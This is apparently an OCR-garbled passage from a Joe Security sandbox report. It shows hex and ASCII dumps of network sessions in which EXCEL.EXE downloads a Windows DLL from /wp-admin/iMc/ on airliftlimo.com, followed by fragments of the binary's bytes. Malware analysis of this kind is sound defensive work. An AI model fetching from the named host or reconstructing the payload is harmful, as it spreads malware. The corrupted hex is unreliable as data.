03 ea 30 63 c2 27 53 f0 39 65 37 f4 51 02 6f ea 12 02 3¢ 19 20 55 fe 2e 54 1f f7 b3 31 ea 1f 21 65 01 86 fc 7 13 3f 87 fa
49 a4 d3 1d 54 2b al 25 2f 6e ed 1f 3e 24 be 23 64 bc 3d 4e 46 d3 08 05 8f 84 1a 63 43 23 bf b0 17 e4 f3 f5 3¢ 65 64 2a
393a7f2179 96 f5 a7 e7 28 53 06 b2 87 2a d5 Oc 18 3d 79 fd bf c9 60 7b 59 81 56 39 2b 6f 19 a8 c1 6e 42 66 19 e7 30
1f 7f34 71 ad 22 7c 7d fc f4 7c 6a 2b c6 a2 41 28 98

Data Ascii: b95eL>S][+H*o>VLjfX'|eF+i"d+?d1;vKX*R?>c,=10c'S9e7Qo< U.T1le?IT+%/n>$#d=NFcC#<ed*9:ly(S*

=y {YV9+onBfo4q"[}|j+A(

Data Raw: 63 36 34 0d Oa 39 el 3a 7c 15 3a e4 bc 2a 3c 0b 9d d4 ba 93 a9 7b be e0 2c ed 30 6f 2c a8 11 34 1c b0 18 33
3f 48 cd dd Ob el da 6¢ 8c 4d 31 76 2e cb 88 7b c1 69 58 50 63 e4 9e 4c e0 2a 66 5a 19 e7 89 52 e3 35 71 6a 2e d3 d9
56 f7 78 6a 63 Oa eb 5f 96 d6 21 13 75 75 ec 17 bb 2e ec 5a b2 e3 11 1d 43 2f 69 00 4e 78 e2 31 e6 a0 d0 10 31 76 dc 7
c2 5fba ae 1c 74 7b 28 49 62 48 ed 22 7e 05 45 48 7d 43 dd 6f cf 98 a7 09 f9 ac 34 el a5 f9 66 35 76 5f 2d bc f8 74 ec d8
4f f7 65 21 7a 68 d8 65 4f 4b 21 8b 15 21 22 el 35 50 75 c6 42 56 2f cb ¢7 00 31 96 b8 18 a0 ab 62 el 10 22 2e d3 21 7c
7d ff 3b 2d 24 2b 30 19 12 3a ea 10 d2 2b c2 8e 74 77 5f 65 bc b0 bc 65 64 6b ec d0 bl 7a 24 55 71 e0 96 €0 00 4e 31 27
e123 30 b5 39 15 36 2e c9 58 7b 41 e0 1c 74 1b e4 6f 18

Data Ascii: c649:|:*<{,00,43?HIM1v.{iXPcL*fZR5qj.Vxjc_!uu.ZC/iNx11v_t{(IbH"~EH}Co4f5v_-tOelzheOK!!"5PuBV/1b".![};-
$+0:+tw_eedkz$UgN1'#096.X{Ato

Data Raw: 31 38 34 37 0d 0a 4b 3a 3d 00 al 8a 12 d2 80 45 fd 06 05 38 el 9e d1 01 56 47 90 b1 32 43 62 {3 33 b7 8f 5e
3b 3c a2 2187 85 06 2b 7a e3 10 c9 3d f8 6b 00 89 74 bf Oc 6a 79 3c c6 7c a2 de 79 aa bc 41 9e b9 91 c1 6d a3 3d 9c ab
2b 8e 20 3b d1 ed c2 40 a5 11 f8 b2 de b5 22 58 3b 7e 61 62 b5 33 7f 5¢ 72 35 3¢ e4 11 4b 42 23 ¢4 6¢ €5 38 19 68 aa 1d
2005 8d b4 68 d5 0d 1c c6 74 a2 8e c6 b6 a0 86 ae 1d 8c 35 al cf 68 c9 6f ba 4f e2 6¢ 35 b7 26 €9 61 eb 13 84 55 72 54
9 ad 26 97 d7 95 d9 5f Oe 72 el 16 ec 21 bf 6 20 f5 86 72 55 39 ea 66 bc cd 04 cd 00 eb 2b 9¢ d7 93 cd 09 al 05 f4 27
737058 d1 6e bf 2b a6 48 2a ed 1f 81 e1 39 b6 fb 94 d1 ca c6 99 a4 71 ee 35 ba e8 Oe b2 ¢3 97 9e 8f 31 bc 69 b5 e5 1le
b7 05 6b 69 24 92 7c b3 a7 e6 cb 4e 5a 2e b2 25 ¢1 79 95

Data Ascii: 1847K:=E8VG2Ch3";<!+z=ktjy<|yAm=+ ;@"X;~ab3\r5<KB#|8h ht5hoOI5&aUrT&_r! ru9f+'spXn+H*9g5
1iki$|NZ.%y

Data Raw: 31 65 65 62 0d 0a 55 39 ea 9f 4c dO 4e 31 6b 98 05 4b 3c 8a b5 52 96 40 24 5f 9e al 08 50 40 eb Oe 98 48 2a
6633 d8e8 1186433571 abc2 7c b5 72 67 78 66 a2 ef 46 c4 76 5f 65 31 b4 88 41 94 6b 67 65 90 44 b1l 55 b2 ef Of 98
00 4e 31 e0 ee 7a 98 3c 4d 31 9e 7a e4 24 5f 31 e0 5d 51 26 6e 2a 2c c1 e 42 aa 51 6¢ 35 bl c¢7 11 99 6a 66 58 69 72
67 78 22 ea ff 46 d4 76 5f 65 7a be f0 29 ef a8 54 b7 68 f1 eb dc 8d 4f f3 68 00 4e 79 e2 c6 7a 98 3c 4d 31 3a eb dc 00 cf
79 69 58 19 a0 34 Oa 21 c3 41 4e 13 da 1f 05 3f c8 4e 49 23 ed bb 04 2d 26 26 2b 3f 0b 9d d4 3e d6 39 13 3d 69 33 33 2a
332474 3b 72 14 6e 23 a6 c4 24 Oe cf 94 95 16 c9 dO 8d 33 76 66 04 af fa 71 6b 58 50 63 e4 97 60 4a 2a 66 12 da d9 3d
74 43 35 3d el d3 50 47 72 67 bf 2f fb Ob 8c 3¢ 76 98 20

Data Ascii: 1eebU9ILN1kK<R@$_P@H*f3C5q|rgxfFv_elAkgeDUN1z<M1z$_1]Q&n*BQI5jfXirgx"Fv_ez)ThOhNyz<M1:yi
X4IAN?NI#-&&+?>9=i33*3$t;r#3$3vfgkXPc’ J*f=tC5=PGrg/<v

Data Raw: 32 63 30 65 0d Oa bf a6 17 e0 {7 41 58 2d e9 7f d4 29 aa ba 61 de e7 27 a0 a2 4c 65 fa 22 e9 9f 4b 75 8c d8
74 2e 7b fe 12 76 2e 96 1d ae a6 5e 53 c3 21 2f a5 92 24 b8 2d 47 06 bc 65 d0 99 23 33 ee 78 65 d4 82 a3 dd 66 39 a4 df
3d 71 e8 24 63 01 24 a8 3a de 5a 8f aa 4d a9 e9 46 57 2a e3 1e b4 5a Oc b8 3e 98 0d 1f 86 Ob ac 3e 15 a2 5b 50 20 c3
76 42 2a 19 e7 59 52 3b 7c fa a8 2e db 81 22 26 26 35 3d 80 ae 7c f5 b3 7d f0 31 18 30 08 66 67 a2 65 5e 20 40 cb 6b 2b
5b c0 06 b8 2f 4e 56 8f 78 69 19 dO 7e d6 24 de 3d 4d 70 08 9a 6f 2a €9 3c Oe 4e a4 98 fa 35 fd 07 11 59 22 e5 9c 5d bl
ab30el a7 0beb6c 7e 17 ec 47 25 74 ec 1c 73 32 2d ac 12 95 1d b8 87 cb 68 00 4e ba 2e 15 16 c3 c6 05 ba 87 ef 04
00 77 f2 2c 2f d9 6f 4b 0a 80 98 33 66 5a 96 29 3e 8b ab 3c 71

Data Ascii: 2cOeAX-)a'Le"Kut.{v."S!/$-Ge#3xef9=q$c$:ZMFW*Z>>[P vB*YR;|."&&5=(}10fge” @k+[/NVXi~$=Mpo*
<N5Y"]0I~G%ts2-hN.w,/0K3fZ)><q

Data Raw: 34 61 30 37 0d Oa 24 98 3d 4d 18 67 €6 d4 2a €9 Oc Oe 26 00 fc 6¢ 35 1d 07 11 31 06 ef 1c 61 32 ec 3c 4e 23
ce 6e 74 ce 8a 24 2a el fd 84 66 €2 2b 41 61 fb 50 71 79 40 a9 44 ba 89 75 4f 3a d3 8c 5 4d f0 1a 42 10 27 de 0d 4d 08
¢3 2a 73 2a af Oc Oe 2e 40 df 6b 35 fd Of 11 39 9d 87 73 8f a3 8e 7b a0 a2 aa 64 bd 3a 7b 2d 8e 65 3e 65 64 ea 13 41 69
c5 8a 5a 39 €0 6f 4c 48 c5 75 4f 3a d5 Oc 18 0d ba 32 42 18 cc ae fb 69 58 18 a2 6a fc d7 48 2a 2e df 91 63 b1 df 40 35
71 ad 22 7c 05 41 72 03 6a a2 27 46 74 7d de 11 13 75 94 a5 67 81 e6 11 05 3a 8¢ 0d 93 59 a0 2¢ 24 Oe 79 €0 67 fb f7
3c 4d b8 7 2e 42 24 5f c1 fd a3 5d 2b 86 2e 97 b7 d5 2e d7 54 be ec 89 bc 7d f8 eb 8e 58 45 72 2f f5 6f Ob cc 62 34 3e d6
e4 1f 34 3¢ 65 2c €6 62 cf ad 84 db 1d b0 ea bb 69 00 4e

Data Ascii: 4a07$=Mg*&I51a2<N#nt$*+AaPqy@DuO:MB'M*s* @k59s{d:{-e>edAiZ90L HUO:2BiXjH*.c@5q"|Arj'Ft}u
0:Y.$yg<M.B$_]+..T}XEr/ob4>4<e,biN

Data Raw: 13 32 e3 db 5d 61 59 50 2b 96 12 ff 48 93 d8 da Of f4 74 ce 43 3f Oe f3 7 dc 61 7a 66 78 6a 7a 1f 9d cb {7 eb
41 3f 34 3c 65 34 7f {7 65 e6 fe 00 ad 39 6b 2b 34 56 el 31 ea ee 7a b0 3¢ 4d 31 Oc 8f 40 24 de fd 4d a0 50 2b 6f 9f 3c b7
d5 e7 ee 75 94 35 76 43 88 76 cb 66 d3 c1 56 9f 78 6a 63 c8 €6 10 7e 5e 65 37 dd 2d 7c 64 6b 2f ec 24 c4 a6 55 39 23

a2 04 24 06 7d e2 16 7a 08 74 ce 55 52 5e 40 6¢ dc 1d 4d 68 50 6e 5c €3 2d 7b ea 2f d1 87 24 be b8 ca 69 55 42 ef 24
6152 98 a8 26 ee df 46 94 76 5f 65 7e be 67 45 2d e0 Oc 4d 68 f1 57 65 70 €0 c8 29 5f Of 6f 34 a9 92 04 b7 91 78 ff 3d 48
6d d6 12 79 11 d9 58 77 7d 29 1e 6b 31 12 d2 80 45 fd c7 11 91 6a 66 58 0d f9 d3 5c aa 63 43 62 70 fd cb 41 8f 35 3¢ 65
2c e0 db 41 91 7a 24 55 b0 2f 0f 38 8b ca 15 b3 6a 5e

Data Ascii: 2]JaYP+HtC?azfxjzA?4<e4e9k+4V1z<M1@$MP+o<u5vCviVxjc~"e7-|dk/$U%#$}ztURN@IMhPn\-{/$iUB$aR&
Fv_e~gE-MhWep)_o4x=HmyXw})k1EjfX\cCbpA5<e,Az$U/8j*

Data Raw: 34 31 35 39 0d 0Oa a6 35 bd 29 40 2f 40 a3 dd e3 a5 21 1d 2f el bf f5 d7 ba 2f 4e 1a c3 78 69 71 e 34 4f 24 5f
31 e05d 57 52 6f 2a 24 c3 el 2a dl 94 e7 e3 3e c8 fa 39 el 3a 7c 25 3a ec 14 4e Ob Ob €9 40 52 2f 2d b4 f1 6¢ 3a 2c 94
87 a9 a8 36 00 5d 6¢ 38 7d 3f 48 ¢3 9d 4f e2 a0 b7 c3 05 b0 9a le 42 24 5f f2 d4 f8 51 2b 6f 62 e3 fd 82 67 5a 51 5f fc ff
0f 11 2d d2 70 f5 41 72 a0 3c 4e 3b 90 24 3d 76 6¢ be 0a 51 46 64 64 64 e3 c1 25 7a 24 68 2f c6 2f 68 Of ca f2 68 6a 5e
7598 Oe 34 76 69 c4 ab 5¢ 79 69 65 17 f3 6a 2a 67 cc 64 64 5a 51 51 2e d8 45 35 7e ee 52 5a 45 72 5a d6 dc 65 43 6d
b0 2b 5e 65 37 08 75 45 6f 6b 68 el 5d 7e 24 55 04 65 f6 67 00 41 b4 Oa 6e 5e 48 fb 8 99 77 66 40 c9 97 9d 69 33 d5 83
6e 2a 68 1a a3 e3 f2 50 6¢ 35 ce 98 b4 c8 1c e7 dd ed

Data Ascii: 41595)@/@!//Nxiq40$_1]WR0*$*>9:|%:N@R/-I:,6]I18}?HOB$_Q+0bgZQ_-pAr<N;$=vIQFddd%z$h//hhj*u
4vilyiej*gddZQQ.E5~RZErZeCm+"e7uEokh]~$UegAn"HWf@i3n*hPI5
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kBytes

Timestamp Direction Data
transferred

2022-05-23 06:27:17 UTC 339 IN Data Raw: 2b 41 47 b6 51 02 5d ea 23 41 51 84 a2 aa c6 ea c8 35 55 b5 ce ea 1e 7a 38 72 eb 15 4f al 05 a4 87 ca c0 58
dle88aa3 6348 ab 2bda4b0b4332c240flacaeal 01f932f8el2f67 12 dc b5 f9 9ac8f2 7841 1c 4f b2 5¢c 21 c2
49 94 2f 07 fa 04 24 36 b0 27 4e 26 04 02 34 7d fd 2a 64 5c a8 98 42 92 81 c2 6¢ €0 a9 al 2c ef 16 75 14 b4 02 67 4d 67
11 ba 58 82 36 43 08 d6 77 68 62 b5 32 7b 15 a5 93 c3 9a a5 07 43 15 23 fb 50 71 49 38 69 62 00 02 ba 2e ca d5 1c 18
3d ba 3a 42 38 cd bb 7d 69 58 63 d4 d4 50 42 46 2a 2e 7b 2c cc f2 33 ¢3 8d 3c 4b 66 d9 30 f2 b8 51 3e ae c2 17 b4 11 3b
10 fa be 79 e5 ed 2e cf a2 64 fa 42 5d 72 6b aa 2d 80 c7 67 6b 6a df 3d bc a2 6f 3d 66 cb 69 df 31 e2 5d c8 1e 6f 2a el
00 72 8f bf ad 93 ca b1 06 b5 2d dc f0 58 fd 71 d2 06 cf
Data Ascii: +AGQJ#AQ5Uz8rOXcH+KC2@2/gxAO\MI/$6'N&4}*d\BI,ugMgX6Cwhb2{C#Pq|I8ib.=:B8}iXcPBF*.{,3<Kf0Q>
;y.dB]rk-gkj=o=fil]o*r-Xq

2022-05-23 06:27:17 UTC 339 IN Data Raw: 66 64 34 0d Oa cc 45 52 16 fc c8 el Oc e8 1c 74 5b el c0 68 48 ab 12 7e 21 1f 97 30 36 f2 35 4e 1e 7e f3 f6 67
b9 06 47 3b 66 bf 3a 7b 1d c0 d4 fd 8f 62 e2 33 41 59 11 60 71 41 31 a2 2c 24 36 b0 1f 4e 26 14 2f 42 31 fd 22 64 5c d4
3d 4d 28 db 6f 4b 56 e3 Oc Oe 12 1e da 29 b5 ff 07 11 51 82 6a fb b8 8d a0 3c 4e 1b 39 b8 45 76 9e 09 13 4d 31 21 ef bb
df 28 b0 b5 9e d4 4d 4f 53 e4 02 4e 31 ac 2e 7a 38 20 bf 09 76 2b cb e9 d4 35 4d 28 a7 ca d7 81 c2 e2 80 4d 90 80 85 36
bc 82 dc 77 e3 2a 7c 35 f3 13 5¢ 1a 73 b7 6b 34 bl 1a ed dd 28 45 65 e5 2e ef {7 eb 85 db d4 4c e3 e8 8c 71 4e f6 2e ea
€6 0b 92 4d ba 3b e6 b7 c5 9e 93 6f d1 05 ab ee 5f e8 a5 9a 6f 5a 96 28 11 02 38 7b 32 6a ed 1c 61 06 ea 74 2a db 28 2e
90 71 9e 84 33 bc 70 41 10 e0 2b 41 55 8d c5 84 d3 e2
Data Ascii: fd4ERt[hH~1065N~gG;f:{b3AY qA1,$6N&/B1"d\=M(0KV)Qj<NIEVM1!(MOSN1.28 v+5M(M6W*|5\sk4(Ee.L
gN.M;o_oZ(8{2jat*(.g3pA+AU

2022-05-23 06:27:17 UTC 343 IN Data Raw: 31 38 35 65 0d Oa 77 43 35 71 22 ef 5f ce 37 50 f1 2d 6b 0Of ef a8 52 af 65 37 35 b7 a6 2d e0 3c 75 68 f1 57 4d
70 €050 48 49 ¢5 d2 36 a9 16 cb d0 65 6 32 42 48 ed 95 77 69 9f 14 0f 63 48 5¢ 46 2a al 1le 75 7c 16 b8 48 35 b6 2e 42
4c 10 cf 6a 78 ad 27 67 52 7f df 94 65 7b be fd e4 20 4f 57 50 9c 85 db d4 7d 4f 1b 68 8f 4e 31 ea 1e 7a 78 fb 70 f8 76 ed
04 00 6f f0 2d 7c 60 ec 2b Oe 28 41 de 99 78 96 68 11 8a bf 3c 06 ad 22 7c 7d 1c 17 75 52 a4 07 46 7c 8b a3 fc 5f f2 78
4154 12 69 f8 21 11 60 71 09 3e a2 2c 24 7e b0 27 4e 6e fO c4 6a f5 {7 12 64 14 a5 4f 4c ac db 6f 4b 1a el Oc Oe 56 d1
1d 48 0d fd 07 11 31 59 ae 19 cc 7a a0 3c 4e 53 fa ba a8 76 de 11 13 05 ef 81 44 05 e6 11 05 4a 09 al 87 05 a0 2c 24 7e
b8 2f 4e 6e ¢3 70 69 79 fd 62 64 17 97 f0 63 of 14
Data Ascii: 185ewC5q"_7P-kRe75-<uhWMpPHI6e2BHwicH\F*u|H5.BLjx'gRe{ OWP}OhN1zxpvo-| +(Axh<"[JuRF|_XAT
i"g>,$~'NnjdOLOKVH1Yz<NSvDJ,$~/Nnpiybdc

2022-05-23 06:27:17 UTC 349 IN Data Raw: 32 31 64 32 0d Oa ba 35 67 a3 3a al 67 16 54 25 79 37 78 6a 62 66 69 34 53 6b 47 37 10 3d 7d 64 71 97 7d
cl 6¢ f4 41 f9 79 5b 79 60 5e 61 6b 6a 5f 52 35 4d 2b 12 46 40 3e 6b 67 69 42 51 31 6f 24 88 44 5a 6d 0a 51 6¢ 34 62 4b
35 65 0e 68 58 51 26 6a 78 7e 57 4f 62 20 e4 4f 15 36 2¢ 38 65 7d 6a 28 65 2b 4a 2d 05 38 70 22 68 1b 3a 11 6b 71 3a
57 3c 56 05 68 66 5b 25 43 79 79 08 50 2b 6e 20 6¢ 48 20 52 52 51 66 67 70 33 34 6a 6¢ 66 43 44 e3 67 74 1a 68 23 68
04 7f 0f 64 2b 39 3¢ 79 00 78 67 79 75 68 24 49 0d 7b 2b 74 92 56 c1 7d 8a 4a 98 2e 8d 21 06 67 5f 2c 5f 66 68 fd 50 3b
9f 24 88 44 5a 6d 3a 5b 5c 3c 26 42 21 75 6a 72 6¢ 4c 72 73 2a 7a 13 42 7b 33 76 46 64 03 35 36 85 6¢ 1b 60 05 27 4a
21 05 39 6b 2a 7c 04 4e 25 5f 62 5e 5c 6e 5d 41 77 71 46 24 48 1d 60
Data Ascii: 21d259:9T%y7x]bfi4SkG7=}dq}lAy[y “akj_R5M+F@>kgiBQ1o$DZmQI4bK5ehXQ&jx~WOb O6,8e}j(e+J-8p
"h:kq:W<Vhf[%CyyP+n IH RRQfgp34jlfCDgth#hd+9<yxgyuh$l{+tV}J.!g_,_fhP;$DZm:[\<&B!ujriLrs*zB{3vFd56I™
J19K*|N%_bM\n]AwgF$H®

2022-05-23 06:27:17 UTC 358 IN Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

: A Destination

Session ID Source IP Source Port Destination IP Port Process

1 192.168.2.22 49174 159.203.19.2 443 C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp kBytes Direction Data

transferred

2022-05-23 06:27:22 UTC 358 ouT GET /wp-admin/iMc/ HTTP/1.1
Accept: */*
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: airliftlimo.com
Connection: Keep-Alive

2022-05-23 06:27:22 UTC 358 IN HTTP/1.1 200 OK
Date: Mon, 23 May 2022 06:27:18 GMT
Server: Apache/2
Set-Cookie: 628b2946c4421=1653287238; expires=Mon, 23-May-2022 06:28:18 GMT; Max-Age=60; path=/
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Last-Modified: Mon, 23 May 2022 06:27:18 GMT
Expires: Mon, 23 May 2022 06:27:18 GMT
Content-Disposition: attachment; filename="klJrMZJhgldiJr6j0XWPeZOiGs.dlIl"
Content-Transfer-Encoding: binary
Content-Length: 365056
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: application/x-msdownload

2022-05-23 06:27:22 UTC 359 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4
7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4
3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 4
500 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 fO 00 22

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b"
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kBytes

Timestamp transferred Direction
2022-05-23 06:27:23 UTC 366 IN
2022-05-23 06:27:23 UTC 382 IN
2022-05-23 06:27:23 UTC 398 IN
2022-05-23 06:27:23 UTC 414 IN
2022-05-23 06:27:23 UTC 430 IN
2022-05-23 06:27:23 UTC 446 IN
2022-05-23 06:27:23 UTC 462 IN
2022-05-23 06:27:23 UTC 478 IN
2022-05-23 06:27:23 UTC 494 IN

Copyright Joe Security LLC 2022

Data

Data Raw: df c7 85 b4 08 00 00 65 37 35 d7 c7 85 b8 08 00 00 40 20 e0 e2 c7 85 bc 08 00 00 7d 20 7a 24 c7 85 c0 08 00
00 be 1a ee e2 c¢7 85 c4 08 00 00 1d 06 Oa bc c7 85 c¢8 08 00 00 2a 4a b5 5a c7 85 cc 08 00 00 78 c6 b4 6e c7 85 d0 08
00 00 67 40 24 da c7 85 d4 08 00 00 b0 d1 18 50 c7 85 d8 08 00 00 2b 6f 6e 67 c7 85 dc 08 00 00 Od ea 22 d3 c7 85 e0
08 00 00 d4 74 34 76 c7 85 e4 08 00 00 43 c2 77 6a c7 85 €8 08 00 00 66 58 41 06 c7 85 ec 08 00 00 6b 39 65 d9 c7 85 f
008 00 00 ab 6b 70 ff c7 85 f4 08 00 00 da 7d 36 35 c7 85 f8 08 00 00 3c ee 2a 83 c7 85 fc 08 00 00 2b e8 ac 62 c7 85 00
09 00 00 25 55 39 e0 c7 85 04 09 00 00 7d 84 48 4d c7 85 08 09 00 00 fa 94 3f 6e c7 85 Oc 09 00 00 47 8b 0a 37 c7 85 1
009 00 00 33 65 b4 6¢ c7 85 14 09 00 00 dc bf 41 1c c¢7 85 18 09

Data Ascii: e75@ } z$*JZxng@$P+ong"t4vCwjfXAk9ekp}65<*+b%U9HM?nG73elA

Data Raw: 75 03 cc 33 cO 48 8b 44 24 40 8b 40 28 89 44 24 28 48 8d 05 5d ¢9 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33
d2 33 9 e8 5 42 00 00 83 8 01 75 03 cc 33 O 48 8b 44 24 40 8b 40 1c 25 ff ff 00 00 83 f8 04 Of 85 a9 00 00 00 48 8b 44
24 40 8b 40 1c c1 f8 10 25 ff ff 00 00 48 8b 4c 24 40 48 83 c1 30 48 8b 54 24 40 48 8b 52 20 48 89 54 24 38 89 44 24 30
48 89 4c 24 28 48 8d 05 O c8 01 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 33 c9 e8 8¢ 42 00 00 83 18 01 75 03 cc 33
0 48 83 3d 04 5f 02 00 00 74 38 48 8b 44 24 40 48 83 c0 30 ba 01 00 00 00 48 8b c8 ff 15 4b b6 01 00 85 c0 75 1d 48 8b
44,24 40 48 83 0 30 48 8b 4c 24 40 48 8b 51 20 48 8b c8 ff 15 cc 5e 02 00 eb Of 48 8b 54 24 40 48 8b 4c 24 68 e8 23 01
00 00 €9 cf 00 00 00 48 8b 44 24 40 83 78 1c 01 75 50 48

Data Ascii: uU3HD$@ @ (D$(H]HD$ E3E333Bu3HD$@ @%HD$@ @%HL$S@HOHT$@HR HT$8DSOHLS(HHDS E
3E333Bu3H=_t8HD$@HOHKUHD$S@HOHL$@HQ HAHT$@HL$h#HDS@xuPH

Data Raw: 44 Oa 1c 8b 84 24 70 05 00 00 83 €8 20 8b 8c 24 70 05 00 00 48 8b 94 24 b0 05 00 00 88 84 0a 1d 01 00 00
eb 17 8b 84 24 70 05 00 00 48 8b 8c 24 b0 05 00 00 c6 84 01 1d 01 00 00 00 e9 f3 fe ff ff 48 8b 8¢ 24 90 05 00 00 48 33
cc e8 50 88 ff ff 48 81 c4 a8 05 00 00 c3 cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 2d 3d 02 00 00 75 14 b9 fd ff ff ff e8 b9
1 ff ff c7 05 17 3d 02 00 01 00 00 00 33 c0 48 83 ¢4 28 c3 cc cc cc cc cc cc cc cc 89 4¢ 24 08 48 83 ec 38 e8 €3 00 00

00 8b 4c 24 40 89 08 8b 4c 24 40 e8 14 00 00 00 89 44 24 20 e8 9b 00 00 00 8b 4c 24 20 89 08 48 83 c4 38 c3 89 4c 24
08 48 83 ec 18 ¢7 04 24 00 00 00 00 eb 08 8b 04 24 ff cO 89 04 24 48 63 04 24 48 83 f8 2d 73 27 48 63 04 24 48 8d 0d 92
11 02 00 8b 04 c1 39 44 24 20 75 11 48 63 04 24 48 8d 0d

Data Ascii: D$p $pH$$SpHSH$H3PHH(=-=u=3H(L$HBL$@L$@D$ L$ HBL$H$$$SHCSH-s'HCSHIDS uHCcSH

Data Raw: 84 24 90 00 00 00 48 89 44 24 48 e8 11 56 ff ff 48 8b 80 e0 00 00 00 48 89 44 24 58 48 8d 54 24 40 48 8b 84
2480 00 00 00 8b 08 ff 54 24 58 c7 44 24 50 00 00 00 00 eb 00 8b 44 24 50 48 83 c4 78 c3 cc cC cC CC CC CC CC CC CC CC
CC CC CC cC CC 44 89 4c 24 20 44 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 48 48 c7 44 24 38 00 00 00 00 48
8b 44 24 58 8b 40 Oc 89 44 24 28 48 8b 94 24 80 00 00 00 48 8b 4c 24 58 €8 d1 50 00 00 89 44 24 30 83 7c 24 28 00 76
02 eb 05 e8 ff e4 ff ff 48 8b 44 24 78 c7 00 ff ff ff ff 48 8b 44 24 70 c7 00 ff ff ff ff 8b 44 24 28 89 44 24 2c eb 0a 8b 44 24
2c ff ¢8 89 44 24 2¢ 83 7c 24 2¢ 00 76 4f 48 8b 44 24 58 48 63 40 10 48 8b 8¢ 24 80 00 00 00 48 8b 49 08 48 03 c8 48 8b
¢l 8b 4c 24 2c ff c9 8b c9 48 6b c9 14 48 03 c1 48 89

Data Ascii: $HD$HVHHDSXHTS@HS$STSXD$PDSPHXDLS DDSHTSHLSHHHDSBHDSX @ DS(HSHLSXPDSO0|$(
VHD$xHD$pD$(D$,D$,D$,|$,vOHD$XHC@HSHIHHLS,HKHH

Data Raw: 00 00 00 00 8b 44 24 60 89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 a7 4a 01 00 48 89 44 24 20 45 33 c9 41
b8 42 01 00 00 48 8d 15 b2 49 01 00 b9 02 00 00 00 e8 98 89 ff ff 83 f8 01 75 03 cc 33 c0 83 7c 24 40 00 75 3e €8 04 81
ff ff c7 00 22 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 42 01 00 00 4c 8d 05 78 49 01 00 48 8d 15 09 4b 01 00 48 8d 0d
4a 4a 01 00 e8 15 93 ff ff b8 ff ff f ff €9 ca 00 00 00 b8 ff ff ff ff €9 cO 00 00 00 48 83 bc 24 98 00 00 00 ff Of 84 94 00 00
00 48 81 bc 24 98 00 00 00 ff ff ff 7f Of 84 82 00 00 00 8b 44 24 30 ff cO 48 98 48 3b 84 24 98 00 00 00 73 70 8b 44 24 30
ff cO 48 98 48 8b 8¢ 24 98 00 00 00 48 2b c8 48 8b c1 48 39 05 81 85 01 00 73 Oe 48 8b 05 78 85 01 00 48 89 44 24 68
eb 1b 8b 44 24 30 ff c0 48 98 48 8b 8c 24 98 00 00

Data Ascii: D$'D$@|$@u.HIHD$ E3ABHIu3|$@u>"HD$ ABLXIHKHJIJH$H$SD$OHH;$spDSOHHSH+HHISHXHDShDSOHHS

Data Raw: 74 15 48 83 bc 24 a8 00 00 00 00 76 0a c7 44 24 50 01 00 00 00 eb 08 ¢7 44 24 50 00 00 00 00 8b 44 24 50
89 44 24 40 83 7c 24 40 00 75 2e 48 8d 05 8¢ ed 00 00 48 89 44 24 20 45 33 c9 41 b8 12 00 00 00 48 8d 15 67 0d 01 00
b9 02 00 00 00 e8 7d 49 ff ff 83 f8 01 75 03 cc 33 cO 83 7¢ 24 40 00 75 3e €8 9 40 ff ff c7 00 16 00 00 00 48 c7 44 24 20
00 00 00 00 41 b9 12 00 00 00 4c¢ 8d 05 2d 0d 01 00 48 8d 15 26 10 01 00 48 8d 0d 2f ed 00 00 €8 fa 52 ff ff b8 16 00 00
00 €9 1a 05 00 00 48 83 bc 24 b0 00 00 00 00 0f 85 1d 01 00 00 48 8b 84 24 a0 00 00 00 6 00 00 48 83 bc 24 a8 00 00
00 f 74 68 48 81 bc 24 a8 00 00 00 ff ff ff 7f 74 5a 48 83 bc 24 a8 00 00 00 01 76 4f 48 8b 84 24 a8 00 00 00 48 ff c8 48
39 05 70 45 01 00 73 Oe 48 8b 05 67 45 01 00 48 89 44 24 58

Data Ascii: tH$vD$PD$PD$PD$@|$@u.HHD$ E3AHG}HU3|$@u>@HD$ AL-H&H/RH$HS$HSthHStZHSVOHSHHIPESH
gEHD$X

Data Raw: 24 40 2b ¢8 8b c1 48 8b 8c 24 70 3d 00 00 48 33 cc e8 8b 88 fe ff 48 81 c4 88 3d 00 00 c3 cc cc cc 48 89 4¢
2408 48 83 ec 48 48 83 7c 24 50 00 75 2e 48 8d 05 b8 c6 00 00 48 89 44 24 20 45 33 c9 41 b8 2e 00 00 00 48 8d 15 b3
d7 00 00 b9 02 00 00 00 e8 79 09 ff ff 83 f8 01 75 03 cc 33 c0 8b 05 1f 2a 01 00 ff cO 89 05 17 2a 01 00 48 8b 44 24 50 48
